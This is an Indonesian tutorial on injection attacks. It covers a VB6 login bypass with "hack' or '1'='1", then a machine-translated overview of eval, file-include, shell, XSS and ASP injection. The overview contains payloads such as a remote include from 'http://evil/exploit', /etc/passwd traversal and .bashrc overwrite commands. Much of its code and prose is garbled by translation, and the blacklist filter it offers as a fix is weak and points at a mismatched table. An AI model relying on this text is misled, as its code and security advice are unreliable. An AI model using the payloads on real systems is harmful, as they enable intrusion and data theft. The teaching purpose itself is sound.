TUTORIAL ANTI INJECTION
1. SCRIPT CODE LOGIN ANTI SQL INJECTION Materi asli dari Masinosinaga baca dibawah ini:
Mungkin di antara Anda sudah banyak yang mengenal teknik serangan terhadap aplikasi yang dinamakan "SQL Injection". SQL Injection atau dalam bahasa Indonesia, artinya: Suntikan SQL (Structure Query Language), telah banyak memakan korban. Karena dengan mengetahui teknik serangan ini, Anda sudah bisa mengelabui aplikasi database. Untuk itu, bagi Anda yang baru mengenal teknik serangan ini, ada baiknya untuk menyimak ulasan berikut.
Untuk mengetahui secara mudah tentang dampak dari serangan ini, kita mengambil contoh pada proses "LOGIN". Proses "LOGIN" adalah proses yang paling vital dalam setiap aplikasi yang ada. Karena dengan adanya proses ini, masing-masing user dapat ditentukan haknya dalam mengakses suatu aplikasi. Contohnya pada aplikasi-aplikasi perkantoran, proses "LOGIN" sangat berguna untuk menentukan jabatan dan pekerjaan apa yang harus dilakukan seorang karyawan dalam aplikasi yang dibuat.
Dari pada kita membayang-bayangkan, lebih baik kita praktek langsung agar lebih mudah dicerna. Di sini kita bersama-sama membuat contoh aplikasi Visual Basic dengan Database Access. Untuk itu buatlah desain form seperti yang tampak pada gambar dibawah ini.
Biarkan Property Name pada masing-masing control apa adanya. Selanjutnya kita desain sebuah database sederhana. Buatlah database Microsoft Access dengan nama tabel "login" yang berisi kolom (field) "user" dan "password", lalu namakan databasenya "pegawai.mdb". Isikan dengan beberapa record.
Setelah semuanya selesai, pindah ke apliasi Visual Basic 6, tulislah code berikut pada Form1.
Code::
Private Sub Command1_Click()
Data1.RecordSource = "SELECT * FROM LOGIN WHERE USER='" & Text1.Text & _
"' AND PASSWORD='" & Text2.Text & "'"
Data1.Refresh
If Data1.Recordset.RecordCount > 0 Then
MsgBox "Login Berhasil!"
Else
MsgBox "Login Salah!"
End If
Data1.RecordSource = "SELECT * FROM LOGIN"
Data1.Refresh
End Sub
Sekarang, cobalah program tersebut. Lakukan pengujian dengan memasukkan user dan password yang salah. Jika Anda menemukan pesan "Login Salah!" maka proses berjalan dengan normal. Namun biar lebih memastikan bahwa program berjalan baik, coba juga dengan memasukkan user dan password yang benar. Jika Anda tidak salah memasukkan user dan password, maka pesan yang keluar adalah "Login Berhasil!". Artinya sampai saat ini pengujian program berjalan dengan baik. Terus apa lagi yang dipikirkan? Inilah suatu kecerobohan yang terkadang sering muncul dalam aplikasi yang dibuat para programmer. Para programmer sering lupa akan sisi keamanan aplikasi yang dibuat.
Untuk melihat dampak dari serangan ini. Jalankan kembali aplikasi yang kita buat, dan anggaplah Anda sebagai orang lain yang tidak mengetahui password untuk mengakses aplikasi tersebut. Namun dengan sedikit SQL Injection anda dapat memasuki ruang login hanya dengan memasukkan teks berikut "hack' or '1'='1" (tanpa tanda kutip) pada textbox input user dan/atau password. Maka Anda tidak akan melihat pesan "Login Salah!" melainkan "Login Berhasil!".
Terus, bagaimana ini bisa terjadi? padahal kita tidak memasukkan password sesungguhnya?
Ketika kita memasukkan user "meyer" dan password "tomero", maka query sql pada code diatas akan menjadi :
Quote:
SELECT * FROM LOGIN WHERE USER='meyer' AND PASSWORD='tomero'"
Karena SQL menggunakan kriteria berdasarkan user dan password tersebut, maka jika user dan password tidak cocok dengan yang ada dalam tabel secara otomatis aplikasi memunculkan pesan "Login Salah!". Tapi, jika kita memasukkan teknik SQL Injection pada query melalui input pada aplikasi misalkan user dan password "hack' or '1'='1", apa yang terjadi pada query sebenarnya?
Quote:
"SELECT * FROM LOGIN WHERE USER='hack' or '1'='1' " & _ AND PASSWORD='hack' or '1'='1'"
Kita dapat melihat, bahwa query SQL sudah berubah menjadi query yang tidak menampilkan filter terhadap user dan password. Itu dikarenakan pernyataan "OR 1=1" menyebabkan hasil execute query yang menghasilkan nilai True. Mengapa True? Dalam logika matematika, False Or True atau True Or True
menghasilkan nilai True. Untuk hal ini saya tidak akan membicarakan panjang lebar. Anda bisa membacanya dalam pelajaran logika Matematika atau
Pemrograman. Hasil pengembalian nilai True ini pada query tadi mengakibatkan seluruh record akan ditampilkan, karena semua kriteria berlaku pada semua record. Trik yang menyenangkan, bukan?
Dari percobaan yang sudah kita buat, kita dapat menggambarkan bagaimana cara untuk menghindari serangan ini. Selanjutnya kita akan membuat contoh sederhana prosedur untuk memfilter input yang dimasukkan oleh orang agar tidak bisa dicurangi dengan SQL Injection.
Code::
Private Function FilterSQL(strInput As String) As String
strInput = Replace(strInput, "'", "''", 1, -1, 1) strInput = Replace(strInput, "_xp", "", 1, -1, 1) strInput = Replace(strInput, "--", "", 1, -1, 1) strInput = Replace(strInput, ";", "", 1, -1, 1) FilterSQL = strInput End Function
Prosedur diatas akan mengubah semua karakter-karakter yang berdampak pada teknik SQL Injection ini. Untuk itu tambahkan prosedur tersebut dalam code sebelumnya dan gantilah query SQL untuk proses filter user dan password seperti code berikut.
Code::
Data1.RecordSource = "SELECT * FROM SISWA WHERE NAMA='" & FilterSQL(Text1.Text) & _
"' AND ASAL='" & FilterSQL(Text2.Text) & "'"
Contoh kode injeksi SQL injection
SQL injection memanfaatkan sintaks SQL untuk menyuntikkan perintah yang dapat membaca atau mengubah database, atau kompromi arti dari query.
Sebagai contoh, perhatikan suatu halaman web memiliki dua bidang untuk memungkinkan pengguna untuk memasukkan nama pengguna dan password. Kode di belakang halaman akan menghasilkan SQL query untuk memeriksa kata sandi terhadap daftar nama pengguna:
SELECT UserList. Nama Pengguna DARI UserList
MANA UserList. Username = 'Nama pengguna' DAN UserList. Password = 'Password'
Jika pertanyaan ini mengembalikan lagi baris, maka akses diberikan. Namun, jika pengguna jahat memasuki Nama Pengguna valid dan menyuntikkan beberapa kode yang valid ( "password' OR '1'='1" ) pada kolom Password, maka query yang dihasilkan akan terlihat seperti ini:
SELECT UserList. Nama Pengguna DARI UserList
MANA UserList. Username = 'Nama pengguna' DAN UserList Password = 'password' OR '1 '= '1'.
Dalam contoh di atas, "Password" dianggap kosong atau beberapa string tidak berbahaya. " '1'='1' "akan selalu benar dan banyak baris akan dikembalikan, sehingga memungkinkan akses.
Teknik ini dapat disempurnakan untuk memungkinkan beberapa pernyataan untuk menjalankan, atau bahkan untuk memuat dan menjalankan program eksternal.
Steven M. Christey dari Mitre Korporasi menunjukkan nama ini untuk kelas kerentanan injeksi kode. kerentanan evaluasi Dinamis - injeksi eval
Sebuah kerentanan injeksi eval terjadi ketika seorang penyerang dapat mengontrol semua atau bagian dari input string yang dimasukkan ke dalam sebuah eval () memanggil fungsi. [5]
$ Myvar = 'somevalue'; $ X = $ _GET ['arg']; eval ('$ myvar =' $ x. ';'.);
Argumen dari " eval "akan diproses sebagai PHP, jadi perintah tambahan dapat ditambahkan. Sebagai contoh, jika "arg" diatur ke " 10; system('/bin/echo uh-oh') ", kode tambahan dijalankan yang mengeksekusi program pada server, dalam hal ini" /bin/echo ".
Dinamis kerentanan evaluasi - evaluasi variabel dinamis
Sebagaimana didefinisikan dalam "Evaluasi Kerentanan Dinamis dalam aplikasi PHP" : PHP mendukung "variabel variabel," yang adalah variabel atau ekspresi yang mengevaluasi ke nama-nama variabel lain. Mereka dapat digunakan untuk secara dinamis mengubah variabel yang diakses atau set selama eksekusi program. Fitur kuat dan nyaman juga berbahaya.
Sejumlah aplikasi memiliki kode seperti berikut: $ Safevar = "0";
$ Param1 = ""; $ Param2 = ""; $ Param3 = "";
# "GLOBALS register" saya sendiri untuk param [1,2,3] foreach ($ _GET sebagai nilai kunci $> $ =) {
$ $ Key = $ value; }
Jika penyerang menyediakan " safevar=bad "dalam string, maka $safevar akan diatur ke nilai "buruk". Dinamis kerentanan evaluasi - evaluasi fungsi dinamis
Berikut PHP-contoh akan mengeksekusi fungsi ditentukan oleh permintaan. $ Myfunc = $ _GET ['myfunc'];
$ Myfunc (); dan:
$ Myfunc = $ _GET ['myfunc']; $ {"Myfunc"} ();
Sertakan injeksi berkas
Pertimbangkan ini program PHP (yang berisi file ditentukan oleh permintaan): <? Php
$ Warna = 'biru';
if (isset ($ _GET ['WARNA'])) $ Warna = $ _GET ['WARNA']; membutuhkan ($ warna 'php.'.); ?>
<form metode = "get"> nama <select = "COLOR">
nilai <option = "red"> merah </ option> nilai <option = "blue"> biru </ option> </ Select>
<input type = "submit"> </ Form>
Pengembang pikir ini akan memastikan bahwa blue.php saja dan red.php dapat dimuat. Tetapi karena siapapun bisa dengan mudah memasukkan nilai-nilai sewenang-wenang dalam COLOR , adalah mungkin untuk
menyuntikkan kode dari file:
/vulnerable.php?COLOR= http://evil/exploit? - menyuntikkan file remote host yang mengandung eksploitasi. /vulnerable.php?COLOR= C:\\ftp\\upload\\exploit - Melaksanakan kode dari file yang sudah diupload disebut exploit.php
/vulnerable.php?COLOR= ../../../../../../../../etc/passwd%00 - memungkinkan penyerang untuk membaca isi file passwd pada UNIX sistem traversal direktori .
/vulnerable.php?COLOR= C:\\notes.txt%00 - contoh menggunakan NULL karakter meta untuk menghapus .php akhiran, yang memungkinkan akses ke file selain php.. (PHP pengaturan "magic_quotes_gpc = On", yang
merupakan default, akan menghentikan serangan ini) Shell injeksi
Shell injeksi ini dinamai kerang Unix , tetapi berlaku untuk kebanyakan sistem yang memungkinkan perangkat lunak untuk pemrograman mengeksekusi baris perintah . Khas shell injeksi-fungsi terkait termasuk system() , StartProcess() , java.lang.Runtime.exec() , dan System.Diagnostics.Process.Start() .
Pertimbangkan program PHP berikut pendek, yang menjalankan program eksternal disebut funnytext untuk menggantikan kata user dikirim dengan beberapa kata lainnya.
passthru ("/ home / user / phpguru / funnytext" $ _GET ['USER_INPUT'].); ?>
Program ini dapat disuntikkan dalam berbagai cara: `Perintah` akan mengeksekusi perintah.
$ (Perintah) akan mengeksekusi perintah.
; Perintah akan mengeksekusi perintah, dan hasil output dari perintah. | Perintah akan mengeksekusi perintah, dan hasil output dari perintah. && Perintah akan mengeksekusi perintah, dan hasil output dari perintah. | | Perintah akan mengeksekusi perintah, dan hasil output dari perintah. > / Home / user / phpguru / .bashrc akan menimpa file. Bashrc.
</ Home / user / phpguru / .bashrc akan mengirim file bashrc sebagai masukan untuk funnytext..
PHP menawarkan escapeshellarg() dan escapeshellcmd() untuk melakukan pengkodean sebelum memohon shell. Namun, tidak dianjurkan untuk mempercayai metode ini agar aman, satu suami harus juga memvalidasi atau sanitasi input.
HTML-script injeksi (cross-site scripting)
HTML / injeksi Script adalah subjek populer, biasanya disebut "Cross-Site Scripting", atau "XSS". XSS mengacu pada cacat injeksi dimana user input untuk script web atau sesuatu di sepanjang garis tersebut ditempatkan ke dalam HTML output, tanpa diperiksa untuk HTML atau kode scripting.
Dua tipe dasar adalah sebagai berikut: Aktif (Tipe 1)
Jenis cacat XSS kurang berbahaya, karena input pengguna ditempatkan ke sebuah halaman yang dihasilkan secara dinamis. Ada perubahan yang dibuat pada server.
Pasif (Tipe 2)
Tipe ini lebih berbahaya, sebagai masukan ditulis ke halaman statis, dan dengan demikian, adalah persisten. HTML injeksi di IE7 melalui DLL yang terinfeksi
Menurut sebuah artikel [6] di situs teknologi Inggris The Register , injeksi HTML juga dapat terjadi jika pengguna memiliki DLL yang terinfeksi pada sistem mereka. Artikel tersebut mengutip Roger Thompson yang mengklaim bahwa "browser korban, pada kenyataannya, mengunjungi situs web PayPal atau URL dimaksudkan lain, tapi itu file dll yang menempel ke IE adalah mengelola untuk membaca dan memodifikasi sementara html dalam
perjalanan. Para pasal yang menyebutkan serangan phishing menggunakan serangan yang berhasil melewati upaya IE7 dan Symantec untuk mendeteksi situs mencurigakan.
ASP injeksi
"Injeksi ASP", "PHP Injection" dll adalah istilah coined yang mengacu pada berbagai jenis serangan injeksi kode yang memungkinkan seorang penyerang untuk memasok kode ke mesin server side scripting. Dalam kasus "ASP Injeksi", sisi server mesin scripting adalah Microsoft Active Server Pages , sebuah add-on untuk Microsoft IIS. Dalam prakteknya, Injeksi ASP adalah baik eksploitasi kerentanan Evaluasi Dinamis, Sertakan Injeksi File atau kerentanan kode yang sama injeksi.
Contoh: <%
Jika Tidak isEmpty (Request ("username")) Lalu
Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f
Set fso = CreateObject ("Scripting.FileSystemObject")
Set f = fso OpenTextFile (Server MapPath ("userlog.txt")., ForAppending, True). f. Write Request ("username") & vbCrLf
f. menutup Set f = tidak ada Set fso = Tidak ada %>
<h1> Daftar pengguna login: </ h1> <pre>
<%
Server Execute ("userlog.txt"). %> </ Pre> <% Lain %> <form>
<input name="username" /> <input type="submit" name="submit" /> </ Form>
<% End If %>